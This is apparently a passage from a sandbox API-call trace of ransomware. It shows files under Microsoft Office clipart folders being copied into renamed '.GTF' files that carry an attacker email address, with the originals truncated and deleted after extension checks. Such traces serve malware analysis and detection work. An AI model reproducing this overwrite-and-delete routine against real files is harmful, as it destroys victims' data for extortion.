	[0162.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf")) returned 0x220
	[0162.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0162.897] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.897] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0162.898] GetLastError () returned 0x0
	[0162.898] ReadFile (in: hFile=0x540, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x1600, lpOverlapped=0x0) returned 1
	[0163.213] WriteFile (in: hFile=0x4b4, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x1610, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x1610, lpOverlapped=0x0) returned 1
	[0163.221] ReadFile (in: hFile=0x540, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.221] WriteFile (in: hFile=0x4b4, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0163.230] SetEndOfFile (hFile=0x4b4) returned 1
	[0163.230] CloseHandle (hObject=0x4b4) returned 1
	[0163.237] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.237] SetEndOfFile (hFile=0x540) returned 1
	[0163.247] CloseHandle (hObject=0x540) returned 1
	[0163.247] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0163.247] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf")) returned 1
	[0163.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0163.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0163.248] lstrlenW (lpString=".doc") returned 4
	[0163.248] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0163.248] lstrlenW (lpString=".docx") returned 5
	[0163.248] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0163.248] lstrlenW (lpString=".pdf") returned 4
	[0163.248] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0163.248] lstrlenW (lpString=".xls") returned 4
	[0163.248] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0163.248] lstrlenW (lpString=".xlsx") returned 5
	[0163.248] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0163.248] lstrlenW (lpString=".ppt") returned 4
	[0163.248] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0163.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0163.248] lstrlenW (lpString=".zip") returned 4
	[0163.248] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0163.248] lstrlenW (lpString=".rar") returned 4
	[0163.248] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0163.248] lstrlenW (lpString=".bz2") returned 4
	[0163.248] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0163.248] lstrlenW (lpString=".7z") returned 3
	[0163.248] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0163.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0163.248] lstrlenW (lpString=".dbf") returned 4
	[0163.248] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0163.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0163.248] lstrlenW (lpString=".1cd") returned 4
	[0163.248] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0163.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0163.249] lstrlenW (lpString=".jpg") returned 4
	[0163.249] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0163.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0163.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0163.249] lstrlenW (lpString=".doc") returned 4
	[0163.249] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0163.249] lstrlenW (lpString=".docx") returned 5
	[0163.249] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0163.249] lstrlenW (lpString=".pdf") returned 4
	[0163.249] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0163.249] lstrlenW (lpString=".xls") returned 4
	[0163.249] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0163.249] lstrlenW (lpString=".xlsx") returned 5
	[0163.249] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0163.249] lstrlenW (lpString=".ppt") returned 4
	[0163.249] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0163.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0163.249] lstrlenW (lpString=".zip") returned 4
	[0163.249] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0163.249] lstrlenW (lpString=".rar") returned 4
	[0163.249] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0163.249] lstrlenW (lpString=".bz2") returned 4
	[0163.249] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0163.249] lstrlenW (lpString=".7z") returned 3
	[0163.249] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0163.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0163.249] lstrlenW (lpString=".dbf") returned 4
	[0163.249] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0163.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0163.249] lstrlenW (lpString=".1cd") returned 4
	[0163.249] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0163.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0163.249] lstrlenW (lpString=".jpg") returned 4
	[0163.249] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0163.250] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0163.250] lstrlenW (lpString="J0105272.WMF") returned 12
	[0163.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0163.285] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=17728) returned 1
	[0163.285] CloseHandle (hObject=0x544) returned 1
	[0163.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf")) returned 0x220
	[0163.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0163.286] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.286] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0163.287] GetLastError () returned 0x0
	[0163.287] ReadFile (in: hFile=0x544, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x4540, lpOverlapped=0x0) returned 1
	[0163.289] WriteFile (in: hFile=0x540, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x4550, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x4550, lpOverlapped=0x0) returned 1
	[0163.292] ReadFile (in: hFile=0x544, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.292] WriteFile (in: hFile=0x540, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0163.292] SetEndOfFile (hFile=0x540) returned 1
	[0163.293] CloseHandle (hObject=0x540) returned 1
	[0163.293] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.293] SetEndOfFile (hFile=0x544) returned 1
	[0163.295] CloseHandle (hObject=0x544) returned 1
	[0163.295] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0163.296] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf")) returned 1
	[0163.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0163.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0163.296] lstrlenW (lpString=".doc") returned 4
	[0163.296] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0163.296] lstrlenW (lpString=".docx") returned 5
	[0163.296] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0163.296] lstrlenW (lpString=".pdf") returned 4
	[0163.296] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0163.296] lstrlenW (lpString=".xls") returned 4
	[0163.296] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0163.296] lstrlenW (lpString=".xlsx") returned 5
	[0163.296] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0163.296] lstrlenW (lpString=".ppt") returned 4
	[0163.296] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0163.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0163.296] lstrlenW (lpString=".zip") returned 4
	[0163.296] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0163.296] lstrlenW (lpString=".rar") returned 4
	[0163.296] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0163.296] lstrlenW (lpString=".bz2") returned 4
	[0163.297] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0163.297] lstrlenW (lpString=".7z") returned 3
	[0163.297] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0163.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0163.297] lstrlenW (lpString=".dbf") returned 4
	[0163.297] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0163.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0163.297] lstrlenW (lpString=".1cd") returned 4
	[0163.297] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0163.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0163.297] lstrlenW (lpString=".jpg") returned 4
	[0163.297] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0163.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0163.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0163.297] lstrlenW (lpString=".doc") returned 4
	[0163.297] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0163.297] lstrlenW (lpString=".docx") returned 5
	[0163.297] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0163.297] lstrlenW (lpString=".pdf") returned 4
	[0163.297] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0163.297] lstrlenW (lpString=".xls") returned 4
	[0163.297] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0163.297] lstrlenW (lpString=".xlsx") returned 5
	[0163.297] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0163.297] lstrlenW (lpString=".ppt") returned 4
	[0163.297] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0163.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0163.297] lstrlenW (lpString=".zip") returned 4
	[0163.297] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0163.297] lstrlenW (lpString=".rar") returned 4
	[0163.297] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0163.297] lstrlenW (lpString=".bz2") returned 4
	[0163.297] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0163.297] lstrlenW (lpString=".7z") returned 3
	[0163.297] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0163.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0163.297] lstrlenW (lpString=".dbf") returned 4
	[0163.297] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0163.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0163.298] lstrlenW (lpString=".1cd") returned 4
	[0163.298] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0163.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0163.298] lstrlenW (lpString=".jpg") returned 4
	[0163.298] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0163.298] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0163.298] lstrlenW (lpString="J0105276.WMF") returned 12
	[0163.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0163.299] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=19240) returned 1
	[0163.299] CloseHandle (hObject=0x544) returned 1
	[0163.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf")) returned 0x220
	[0163.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0163.299] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.299] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0163.300] GetLastError () returned 0x0
	[0163.300] ReadFile (in: hFile=0x544, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x4b28, lpOverlapped=0x0) returned 1
	[0163.302] WriteFile (in: hFile=0x540, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x4b30, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x4b30, lpOverlapped=0x0) returned 1
	[0163.304] ReadFile (in: hFile=0x544, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.304] WriteFile (in: hFile=0x540, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0163.304] SetEndOfFile (hFile=0x540) returned 1
	[0163.304] CloseHandle (hObject=0x540) returned 1
	[0163.304] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.304] SetEndOfFile (hFile=0x544) returned 1
	[0163.307] CloseHandle (hObject=0x544) returned 1
	[0163.307] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0163.308] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf")) returned 1
	[0163.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0163.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0163.308] lstrlenW (lpString=".doc") returned 4
	[0163.308] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0163.308] lstrlenW (lpString=".docx") returned 5
	[0163.308] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0163.308] lstrlenW (lpString=".pdf") returned 4
	[0163.308] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0163.308] lstrlenW (lpString=".xls") returned 4
	[0163.308] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0163.308] lstrlenW (lpString=".xlsx") returned 5
	[0163.308] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0163.308] lstrlenW (lpString=".ppt") returned 4
	[0163.308] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0163.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0163.308] lstrlenW (lpString=".zip") returned 4
	[0163.308] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0163.308] lstrlenW (lpString=".rar") returned 4
	[0163.308] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0163.308] lstrlenW (lpString=".bz2") returned 4
	[0163.308] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0163.309] lstrlenW (lpString=".7z") returned 3
	[0163.309] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0163.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0163.309] lstrlenW (lpString=".dbf") returned 4
	[0163.309] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0163.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0163.309] lstrlenW (lpString=".1cd") returned 4
	[0163.309] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0163.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0163.309] lstrlenW (lpString=".jpg") returned 4
	[0163.309] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0163.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0163.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0163.309] lstrlenW (lpString=".doc") returned 4
	[0163.309] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0163.309] lstrlenW (lpString=".docx") returned 5
	[0163.309] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0163.309] lstrlenW (lpString=".pdf") returned 4
	[0163.309] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0163.309] lstrlenW (lpString=".xls") returned 4
	[0163.309] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0163.309] lstrlenW (lpString=".xlsx") returned 5
	[0163.309] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0163.309] lstrlenW (lpString=".ppt") returned 4
	[0163.309] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0163.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0163.309] lstrlenW (lpString=".zip") returned 4
	[0163.309] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0163.309] lstrlenW (lpString=".rar") returned 4
	[0163.309] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0163.309] lstrlenW (lpString=".bz2") returned 4
	[0163.309] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0163.309] lstrlenW (lpString=".7z") returned 3
	[0163.309] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0163.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0163.309] lstrlenW (lpString=".dbf") returned 4
	[0163.309] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0163.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0163.310] lstrlenW (lpString=".1cd") returned 4
	[0163.310] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0163.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0163.310] lstrlenW (lpString=".jpg") returned 4
	[0163.310] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0163.310] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0163.310] lstrlenW (lpString="J0105280.WMF") returned 12
	[0163.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0163.311] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=11540) returned 1
	[0163.311] CloseHandle (hObject=0x544) returned 1
